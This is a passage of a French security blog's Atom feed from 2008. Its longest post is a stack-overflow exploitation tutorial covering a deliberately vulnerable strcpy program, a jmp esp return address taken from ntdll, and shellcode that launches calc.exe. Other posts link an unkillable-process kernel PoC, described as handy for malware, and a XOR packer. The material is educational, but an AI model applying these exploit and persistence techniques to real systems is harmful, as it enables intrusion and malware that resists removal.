virtualisé, je dépose cela sur la pile du binaire qui lance l'interprétation des opcodes.&lt;br /&gt;Seulement parce qu'implémenter un réel call était largement faisable mais ce qui n'etait pas faisable c'est que faire pointer eip dans une api impliquerait d'etre capable d'interpréter le code asm de celle-ci .. :).&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;"Stay in ur world or get pwnd in mine"&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-3435526030428271252?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/3435526030428271252/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=3435526030428271252' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3435526030428271252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3435526030428271252'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/07/create-ur-own-worldz-with.html' title='Create ur own worldz with virtualization.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8177908766882751048</id><published>2008-07-17T05:56:00.000-07:00</published><updated>2008-07-17T19:22:37.981-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='poc sudami'/><category scheme='http://www.blogger.com/atom/ns#' term='sudami'/><category scheme='http://www.blogger.com/atom/ns#' term='processus inkillable'/><category scheme='http://www.blogger.com/atom/ns#' term='processus immortel'/><category scheme='http://www.blogger.com/atom/ns#' term='md5 sh4ka'/><category scheme='http://www.blogger.com/atom/ns#' term='ring0'/><category scheme='http://www.blogger.com/atom/ns#' term='dkom process'/><category scheme='http://www.blogger.com/atom/ns#' term='ethread'/><category scheme='http://www.blogger.com/atom/ns#' term='killMe'/><category scheme='http://www.blogger.com/atom/ns#' term='EPROCESS'/><category scheme='http://www.blogger.com/atom/ns#' term='sudamiKillMe'/><category scheme='http://www.blogger.com/atom/ns#' term='apc kernel'/><title type='text'>Sudami KillMe PoC.</title><content type='html'>Je me permets d'écrire un petit post après la publication du dernier article par &lt;a href="http://ivanlef0u.tuxfamily.org/"&gt;mon jedi&lt;/a&gt; ;  il concerne l'analyse d'un driver tout droit venu de l'orient.&lt;br /&gt;En effet,  &lt;a href="http://hi.baidu.com/sudami"&gt;sudami&lt;/a&gt; et son blog avait déjà interpellé notre ami Ivan, il contenait les sources d'un rootkit kerneland assez puissant d'après ce que les sources inspiraient.&lt;br /&gt;&lt;br /&gt;Cette fois-ci il s'agit d'un PoC concernant une technique de DKOM afin de rendre un processus interminable ; du jamais vu pour ma part.&lt;br /&gt;C'est pour cela qu'en dévorant ce jolie article, je me suis empressé de coder un PoC.&lt;br /&gt;&lt;br /&gt;J'ai donc remarquer que lorsque le PoC était "complet", autrement dit toutes les modifications au niveau des structures étaient effectuées le processus était "inerte".&lt;br /&gt;Interminable certes, mais un processus qui ne peux plus rien faire c'est assez embêtant, voir presque inutile (apart pour embeter la victime avec une fenêtre en plein milieu de l'écran..un peu à la sudami :)).&lt;br /&gt;Celui-ci est disponible en fin de page bien évidemment.&lt;br /&gt;&lt;br /&gt;Cependant, le fait que le processus était larvaire après avoir appliqué les manipulations de structures kernel, ivan me proposa de jouer en désactivant quelques "protections" afin d'obtenir un processus assez difficile à tuer mais un processus actif, une technique bien utile vous pouvez me croire dans le cadre d'un quelconque malware.&lt;br /&gt;Pour moi l'implentation plus ou moins idéal reste de modifier le champ &lt;span style="font-weight: bold;"&gt;KernelApcDisable  &lt;/span&gt;à l'offset 0x0d4 de la structure &lt;span style="font-weight: bold;"&gt;ETHREAD&lt;/span&gt;.&lt;br /&gt;Concernant de plus amples explications concernant ces APCs kernel je vous suggère une petite lecture de &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=136"&gt;l'analyse d'ivan&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Concernant l'activité que je peux avoir sur mon blog ces temps-ci, autrement dit, une activité assez limitée dirons nous, celle-ci est due à mon engagement dans divers projets qui verront leurs concrétisations dans quelques temps (avant la rentré j'esepère) &lt;span style="font-weight: bold;"&gt;wait and see&lt;/span&gt; .&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;Sinan en attendant je vous conseil quelques liens :&lt;br /&gt;&lt;br /&gt;- #carib0u@irc.worldnet.net déjà :p.&lt;br /&gt;- &lt;a href="http://joe-is-a-rocknroll-star.blogspot.com/"&gt;http://joe-is-a-rocknroll-star.blogspot.com/&lt;/a&gt; -&gt; une personne que j'apprécie beaucoup, des écrits clair toussa, continue :).&lt;br /&gt;- &lt;a href="http://md5.sh4ka.fr/"&gt;http://md5.sh4ka.fr/&lt;/a&gt; -&gt; un service de très grande qualité codé par un très bon ami concernant la recherche de plaintext &lt;a href="http://fr.wikipedia.org/wiki/MD5"&gt;MD5&lt;/a&gt; ; celui-ci possède en plus d'opérer à des recherches sur de multiples sites du même genre une base de donnée plutôt bien garnis et qui ne cesse de s'aggrandir !&lt;br /&gt;- &lt;a href="http://www.rootkit.com/"&gt;http://www.rootkit.com/&lt;/a&gt; -&gt; Faut peut-être pas l'oublier :).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Les PoCs :&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/SudamiKillMe/sudamiKillMe.htm"&gt;SudamiKillMe.c.&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/SudamiKillMe/sudamiKillMe_ideal.htm"&gt;SudamiKillMe Idéal (?).c&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Voilà pour les nouvelles, si vous trouvez mieux concernant cette technique je suis tout à fait preneur sur ce bonne soirée.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8177908766882751048?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8177908766882751048/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8177908766882751048' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8177908766882751048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8177908766882751048'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/07/sudami-killme.html' title='Sudami KillMe PoC.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-5758714546582468882</id><published>2008-06-23T07:14:00.000-07:00</published><updated>2008-06-28T09:04:13.372-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packer c'/><category scheme='http://www.blogger.com/atom/ns#' term='loader'/><category scheme='http://www.blogger.com/atom/ns#' term='c0rt3x'/><category scheme='http://www.blogger.com/atom/ns#' term='packer'/><category scheme='http://www.blogger.com/atom/ns#' term='mapping'/><category scheme='http://www.blogger.com/atom/ns#' term='xor'/><category scheme='http://www.blogger.com/atom/ns#' term='portable executable'/><category scheme='http://www.blogger.com/atom/ns#' term='Corruption PE'/><title type='text'>The Come bac.</title><content type='html'>Bonjour à vous,&lt;br /&gt;Les examens terminés, presque en poche, je peux dorénavant me re-consacrer à ce blog.&lt;br /&gt;J'ai été tout d'abord pas mal occupé par les revisions par exemple, afin de me permettre de rentrer à l'IUT l'année prochaine .&lt;br /&gt;&lt;br /&gt;J'en profite pour constater que malgré tout ce qu'on peut dire, la scène française est tout de même en ébulition : &lt;a href="http://www.sstic.org/SSTIC08/"&gt;SSTIC&lt;/a&gt;, &lt;a href="http://www.nuitduhack.com/"&gt;Nuit du hack&lt;/a&gt;, &lt;a href="http://www.hackerspace.net/"&gt;Hacker Space Festival&lt;/a&gt;, etc.&lt;br /&gt;Tant qu'on y est je voulais faire une petite publicité pour le &lt;a href="http://nibbles.tuxfamily.org/"&gt;microblog de nibbles&lt;/a&gt;, une idée que je trouve excellente : Il s'agit de créer un blog, dans lequel les posteurs écriraient des 'brêves', ou jetteraient quelques bouts de codes, let's share your knowledge&lt;br /&gt;&lt;br /&gt;Sinan, j'ai préparé un petit article que je compte release en même temps qu'un projet qui est en train de se monter, donc ne vous inquiétez pas des nouveautés arrivent à flots !&lt;br /&gt;&lt;br /&gt;Maintenant que j'ai finis mon blabla (et oui, ça fait longtemps !), je vous propose un petit code à vous mettre sous la dent.&lt;br /&gt;Il s'agit en effet d'un """packer""" de binaire PE, il est très simple.&lt;br /&gt;Le binaire est mappé en mémoire afin de toucher au section, c0rt3x va vérifier si il reste assez de place à la fin de la première section afin d'y placer son "loader", qui déchiffrera la section encodée par un simple XOR.&lt;br /&gt;Le binaire est donc directement exécutable en fin du package.&lt;br /&gt;Quelques parties de codes furent assez galère à mettre en place, comme l'adaptation du loader au binaire etc.&lt;br /&gt;De plus je n'avais jamais rencontré de source du style, en C c'est pour cela que je vous propose ce petit code.&lt;br /&gt;&lt;br /&gt;Au niveau compréhension je ne pense pas qu'il nécessite d'autres informations que celles relatives au format PE tout simplement.&lt;br /&gt;Voici le code :&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/c0rt3x/c0rt3x.c.html"&gt;c0rt3x.c&lt;/a&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/c0rt3x/loader.asm"&gt;Loader.asm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Et voilà de quoi vous occupez un petit peu, à plus.&lt;br /&gt;&lt;br /&gt;C0RT3x WAS HERE !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-5758714546582468882?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/5758714546582468882/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=5758714546582468882' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5758714546582468882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/5758714546582468882'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/06/come-bac.html' title='The Come bac.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-1098482275915708257</id><published>2008-04-10T13:02:00.000-07:00</published><updated>2008-12-09T22:03:58.319-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcodes'/><category scheme='http://www.blogger.com/atom/ns#' term='stack overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='mrinfo'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode statique'/><category scheme='http://www.blogger.com/atom/ns#' term='rewrite eip'/><category scheme='http://www.blogger.com/atom/ns#' term='stack'/><category scheme='http://www.blogger.com/atom/ns#' term='overflow'/><title type='text'>Trip in d4 st4ckz.</title><content type='html'>Bonjour à tous, me revoilà après 2 semaines de travail acharné ( oh ! ). &lt;p&gt;J'ai choisis de traiter un domaine plutôt classique et bien documenté, celui des stacks overflows sur un système windows.&lt;/p&gt; &lt;p&gt;Un beau matin, je me suis réveillé en ayant pleins de question sur la pile et les dépassements de tampons ... J’ai donc décidé d'entamer un petit article là dessus.&lt;/p&gt; &lt;p&gt;Ce domaine ne m'est pas complètement inconnu, il m'est arrivé de passer un peu de temps sur des wargames, et donc d'exploiter des cas classiques de buffer overflow sous système unix. Seulement j'exploitais sans réellement comprendre le fin fond de la chose. Depuis, j’ai mieux compris les choses après de nombreux tests sur mon système.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Conseils préliminaires :  &lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p&gt;Utiliser une machine virtuel, pour menez des tests c'est très  intéressant.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;-    Je vous conseil aussi l'utilisation de masm32 pour compiler les shellcodes, car mes exemples ont été développé avec celui-ci&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p&gt;J'ai aussi remarqué un plantage d'OllyDbg v1.3  lorsqu'on debug notre programme, il me semble qu'un caractère  de l'adresse de retour ne lui plait pas, c'est pour cela que j'ai du  jongler entres la version 1.3 et la version 2 prealpha disponible en  libre téléchargement sur leur site.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Au passage, quelques notions d'asm seront requis, je pars du principe que vous manipulez un minimum ce language. Pour info, j’ai effectué mes compilations directement avec gcc 3.4.2 (mingw-special).&lt;/p&gt; &lt;pre&gt;                         &lt;br /&gt;&lt;/pre&gt;&lt;p&gt; &lt;span style="font-size:130%;"&gt;&lt;b&gt;I] Préparons-nous .&lt;/b&gt;&lt;/span&gt;                                                                                 &lt;/p&gt; &lt;p&gt;Nous voilà partis, sachez que je mets a disposition une archive contenant l'ensemble des codes et sources, tous cela permettant aux personnes ne pouvant compiler les binaires pour raisons X ou Y de suivre l'article.&lt;/p&gt; &lt;p&gt;Nous pouvons commencer à parler vulnérabilité. D’abord, pour illustrer ce petit paper on va se baser sur un code vulnérable. Celui-ci va créer un tableau de 10 caractères, nous allons ensuite y copier le contenu du premier argument passé au programme. Pour cela on utilise la fonction strcpy de cette façon :&lt;/p&gt; &lt;pre&gt;function(argv[1]);&lt;br /&gt;void function(char* buf)&lt;br /&gt;{&lt;br /&gt;char ownz[10];&lt;br /&gt;strcpy(ownz,buf);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Je tiens a préciser que j'ai compiler mon code avec la ligne suivante, une compilation classique :  &lt;/p&gt;  &lt;pre&gt;%gcc% test.c -o test.exe             &lt;br /&gt;&lt;/pre&gt;&lt;p&gt; On pourrait se demander ce qui se passe si nous allons mettre beaucoup plus de 10caractères dans l'argument ? Il va se produire ce qu'on appelle un dépassement de tampon de l'anglais buffer Overflow. Dans notre cas le buffer étant dans la pile il s'agit d'un stack overflow. Tentons notre chance :  &lt;/p&gt; &lt;pre&gt;test.exe "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Et voilà la superbe fenêtre de dialogue windows qui nous annonce que notre programme a planté.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;La curiosité nous envahit, place à la seconde partie :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;II] Pop d4 world.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Nous allons maintenant nous intéréssé a ce qui se passe au niveau de la pile, du code asm, enfin bon nous sortons notre bon vieux ollyDbg :).&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;004012D7  /$ 55             PUSH EBP&lt;br /&gt;004012D8  |. 89E5           MOV EBP,ESP&lt;br /&gt;004012DA  |. 83EC 18        SUB ESP,18&lt;br /&gt;004012DD  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |&lt;br /&gt;004012E0  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |&lt;br /&gt;004012E4  |. 8D45 F0        LEA EAX,DWORD PTR SS:[EBP-10]            ; |&lt;br /&gt;004012E7  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |&lt;br /&gt;004012EA  |. E8 21050000    CALL &lt;jmp.&amp;amp;msvcrt.strcpy&gt;                ; \strcpy&lt;br /&gt;004012EF  |. C9             LEAVE&lt;br /&gt;004012F0  \. C3             RETN&lt;/jmp.&amp;amp;msvcrt.strcpy&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Voici la fonction vulnérable en question. On peut introduire à ce moment la notion de prologue et d’épilogue. Je m'explique, les instructions vont être exécutées les une après les autres de haut en bas bien sûr. Lorsque le processeur va rencontrer l'instruct call, par exemple :  &lt;/p&gt; &lt;pre&gt;call 0x11223344&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Il va enfaite mettre sur la stack la valeur du registre EIP  (celui qui pointe sur la prochaine instruction à exécuter), puis jumper dessus. En clair nous avons :&lt;/p&gt; &lt;pre&gt;push EIP&lt;br /&gt;JMP 0x11223344&lt;br /&gt;&lt;br /&gt;Nous pouvons schématiser la pile comme cela quand nous serons en 004012D7, c'est à dire au début de notre fonction.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;|                |&lt;br /&gt;+----------------+&lt;br /&gt;| Pointeur       |&lt;br /&gt;| sur une string |&lt;br /&gt;+----------------+&lt;br /&gt;| Sauvegarde     |&lt;br /&gt;| de EIP         |    ESP&lt;br /&gt;+----------------+&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Il faut savoir que la structure de la pile est une LiFo (Last In First Out), c'est à dire que la dernière donnée à être empilé va être la première à être dépilée, je trouve l'analogie de la pile d'assiette assez réaliste. Imaginez une pile d'assiette, vous empilez des assiettes, la dernière empilé sera la première dépilé bien sur.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;A présent le programme suit son cours jusqu'au RETN. Une fois que notre fonction se termine l’exécution doit revenir dans le code appelant, pour cela l'instruction RETN est enfaite un simple :&lt;/p&gt; &lt;pre&gt;pop EIP&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; Mais c'est ici qu'un problème se pose, en effet la fonction va elle aussi utiliser la pile, résultat le registre ESP ne pointera plus sur la sauvegarde d'EIP faites par le call. Pour remédier à ca, nous utilisons ce que nous appelons le prologue. On appel ainsi la suite d'instruction suivante :&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;004012D7  /$ 55             PUSH EBP&lt;br /&gt;004012D8  |. 89E5           MOV EBP,ESP&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; On empile la valeur d'EBP, nous donnons ensuite à EBP la valeur de ESP qui pointe sur la sauvegarde d'EBP. Nous allons ensuite allouer de la mémoire dans la pile grâce a l'instruction :&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;004012DA  |. 83EC 18        SUB ESP,18&lt;/pre&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Nous avons :&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; |                |&lt;br /&gt;+----------------+&lt;br /&gt;| Pointeur       |&lt;br /&gt;| sur une string |&lt;br /&gt;+----------------+&lt;br /&gt;| Sauvegarde     |&lt;br /&gt;| de EIP         |&lt;br /&gt;+----------------+&lt;br /&gt;| Sauvegarde     |&lt;br /&gt;| de EBP         |  EBP = ancien ESP pointe ici&lt;br /&gt;+----------------+&lt;br /&gt;|                |&lt;br /&gt;|Notre Allocation|&lt;br /&gt;|                |&lt;br /&gt;|                |&lt;br /&gt;+----------------+  ESP&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; A la fin de la fonction, l'épilogue, lui va se charger de redonner la valeur au registre leur valeur avant que la fonction soit appelé. On rencontre alors l'instruction LEAVE qui est enfaite la suite d'instruction suivante :&lt;/p&gt; &lt;pre&gt;MOV esp,ebp&lt;br /&gt;POP ebp&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Nous retrouvons donc notre valeur de l'ancien ESP dans qui était contenus dans EBP, et nous dépilons la sauvegarde d'EBP dans EBP bien sur. L'instruction RETN ce charge de dépiler la sauvegarde d'EIP dans EIP.&lt;/p&gt; &lt;p&gt;C'est là que la faille aparait!&lt;/p&gt; &lt;p&gt;Si nous remplissons notre tampon en le faisant déborder, nous réécrivons la valeur de la sauvegarde de EBP et la valeur de la sauvegarde de EIP!&lt;/p&gt; &lt;p&gt;Au moment où on va dépiler EIP, elle sera écrasée par notre surplus de donnée, c'est comme cela qu'on peut contrôler le flux d'exécution de notre programme.&lt;/p&gt; &lt;p&gt;Entrons dans le feux de l'action.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;III] Play with your st4ck, jumping is not a crime.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Voilà après avoir identifié la vulnérabilité nous allons pouvoir les exploitations possibles et évidentes. Je vous propose donc dans cette partie de mener a bien l'exploitation d'un stack overflow avec pour cible le fichier test.exe présent dans l'archive.&lt;/p&gt; &lt;p&gt;Nous avons vu dans la partie précédente les conséquences que peut entrainer un  dépassement de tampon, un control du registre EIP, ou autrement dit un total control sur le flux d'exécution de notre programme.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;C'est à ce moment là que l'on va commencer à parler de shellcode. On veut que le registre EIP pointe sur du code exécutable. Un shellcode est donc une suite hexadécimale correspondant au opcodes des instructions à exécuter. Par exemple, pour l'instruction asm :  &lt;/p&gt; &lt;pre&gt;xor eax,eax&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Nous avons les opcodes 33 et C0.&lt;/p&gt; &lt;p&gt;Mais le shellcode doit répondre à des contraintes. Il doit entre autre ne pas contenir d'octet null (0x00), car le shellcode est classiquement placé dans un tableau de caractères le null byte est donc à bannir car la fin d'une chaine de caractère est caractérisé par le null byte, notre shellcode serait donc 'coupé' en deux, et non exécuté dans son intégralité.&lt;/p&gt; &lt;p&gt;Voici à quoi peux ressembler un shellcode (trouvé sur milw0rm ):&lt;/p&gt; &lt;pre&gt;"\xEB\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61"&lt;br /&gt;"\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF"&lt;br /&gt;"\xF1\x34\xA5\x95\x95\x95\xAB\x53\xD5\x97\x95"&lt;br /&gt;"\x56\x68\x61\x63\x6B\xCD"&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Bon maintenant que vous êtes sensibilisé aux shellcodes je vais pouvoir vous présentez trois petites exploitations pour tentez de vous faire assimiler le principe&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Nous allons commencer par l'exploitation la plus réaliste, et la plus « compliqué ».&lt;/p&gt; &lt;p&gt;Tous d'abord trouvons le nombre d'octet a envoyé pour faire planté le programme.&lt;/p&gt; &lt;pre&gt;test.exe "aaaaaaaaaaaaaaaaaaaaBCDE"&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_5zJU1zylI/AAAAAAAAAG8/iyWXTfoX-VI/s1600-h/RewriteEIPBCDE.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_5zJU1zylI/AAAAAAAAAG8/iyWXTfoX-VI/s400/RewriteEIPBCDE.png" alt="" id="BLOGGER_PHOTO_ID_5187710424827808338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Super ! On voit que l'offset ou le programme plante est 0x45444343 autrement dit BCDE en little endian soit EDCB.&lt;/p&gt; &lt;p&gt;Nous avons donc 20octets de manœuvre ... Pas beaucoup nous allons donc procéder de la sorte :&lt;/p&gt; &lt;pre&gt;['A' x 20][jmp esp][shellcode]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Je m'explique :).&lt;/p&gt; &lt;p&gt;Les 'A' vont permettre de déborder de notre buffer, et jmp esp qu'est ce que c'est ?!&lt;/p&gt; &lt;p&gt;En effet lorsqu’EIP va être dépilé la suite de l'argument sera présent sur la pile, notre shellcode donc  se doit de sauter dessus pour pouvoir l'exécuter.&lt;/p&gt; &lt;p&gt;S pose un premier problème, on le trouve où notre jmp esp?&lt;/p&gt; &lt;p&gt;Pour ma part j'ai choisis de mener une petite recheche du coté des dlls chargées par tous les processus à savoir ntdll.dll ! Il suffit de rechercher l'instruction jmp esp dans la library et de récupéré l'adresse. On lance ollyDbg et on utilise la fonction de recherche sur la suite hexadécimal suivante :&lt;/p&gt;  &lt;pre&gt;FFE4&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Nous tombons sur :&lt;/p&gt;  &lt;pre&gt;7C951EEC   . E8 FFE4FEFF                CALL ntdll.DbgPrint&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; L'adresse 7C951EEC pointe sur l'opcode E8, nous ajoutons donc 1 à cette adresse pour atterir sur notre FFE4 : 7C951EEC + 1 = 7C951EED.Utilisez la fonction goto de olly et mettez 7C951EED :&lt;/p&gt;  &lt;pre&gt;7C951EED   ? FFE4                       JMP ESP&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Niquel ! Nous avons donc notre adresse de retour, nous pouvons donc compléter notre plan d'attaque :  &lt;/p&gt; &lt;pre&gt;[aaaaaaaaaaaaaaaaaaaa][í#•|][shellcode]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Je ne pense pas que les caractères ascii, conversion de l'adresse de retour à savoir 0xED1E957C ( little endian) ne passe correctement par le biais du blog, utilisé plutôt les exploits fournis dans l'archive prévu a cet effet. Pour cet exemple j'ai utilisé un shellcode dit statique (les adresses des fonctions utilisées sont hardcodés) pour gagner de la place :  &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;    char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"&lt;br /&gt;     "\xBF\xB5\x15\x86\x7C" //mov edi,7C8615B5 l'adresse de WinExec est hardcodé, remplacer si necessaire.&lt;br /&gt;     "\xE8\xFF\xFF\xFF\xFF\xCC\x44\x58\x83"&lt;br /&gt;     "\xC0\x0B\x6A\x05\x50\xFF\xD7"&lt;br /&gt;     "C:\\WINDOWS\\system32\\calc.exe"; //Merci a rAsM pour son shellcode tout petit :)).&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Testons l'exploitation, quelques petits screenshots :&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R_5zfk1zymI/AAAAAAAAAHE/b48toEQxXII/s1600-h/EIP_EBP_JMP_ESP.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R_5zfk1zymI/AAAAAAAAAHE/b48toEQxXII/s400/EIP_EBP_JMP_ESP.png" alt="" id="BLOGGER_PHOTO_ID_5187710807079897698" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R_5z1E1zyoI/AAAAAAAAAHU/uKIv-DzSSAw/s1600-h/OwnzD4ST4CK.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R_5z1E1zyoI/AAAAAAAAAHU/uKIv-DzSSAw/s400/OwnzD4ST4CK.png" alt="" id="BLOGGER_PHOTO_ID_5187711176447085186" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Une question peut être ? Pourquoi ne pas avoir moi même coder ce shellcode ?!&lt;/p&gt; &lt;p&gt;Hum tout simplement parce que dans mon étude j'ai voulu exploiter sans savoir coder de shellcode, je pense que l'aspect exploitation est plutôt encourageant pour ensuite coder ses propres shellcodes.&lt;/p&gt; &lt;p&gt;Je tenterais de vous présenter le coding de shellcode basique et statique plus bas. Mais pour le 